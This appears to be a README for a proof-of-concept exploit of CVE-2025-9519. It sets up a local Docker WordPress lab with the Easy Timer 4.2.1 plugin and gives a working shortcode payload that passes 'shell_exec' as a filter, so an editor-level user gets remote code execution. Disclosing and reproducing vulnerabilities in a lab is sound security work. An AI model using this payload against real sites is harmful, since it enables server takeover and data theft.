nimisha17/poc-cve-2025-9519Proof-of-concept exploit for CVE-2025-9519, demonstrating remote code execution in WordPress Easy Timer plugin via a crafted shortcode filter, with Docker-based setup.
Refer to the official Docker docs for installation: Docker Engine Install
From your project directory:
sudo docker-compose up -d
mkdir -p wp-content/plugins
cd wp-content/plugins
wget https://downloads.wordpress.org/plugin/easy-timer.4.2.1.zip
unzip easy-timer.4.2.1.zip
sudo docker compose restart wordpress
http://localhost:8000/WordPress Dashboard → Plugins → and click .
Easy TimerActivate
From your project directory execute the following command:
docker compose run --rm wpcli user create \
editoruser [email protected] \
--role=editor \
--user_pass=P@ssw0rd!
(note: replace with your choice of user name, email and password!)
Posts → Add NewShortcode block and enter:[countdown date=2025/12/17-00:00:00 filter="shell_exec"]ls -l[/countdown]
⚠️ Note: Ensure you are using a Shortcode block, not a Paragraph block, for the shortcode to render properly.
Congratz you got RCE.
sudo docker ps
You should see something like:
If shortcodes are not rendering:
If navigating to http://localhost:8000/ says Database Not Connected: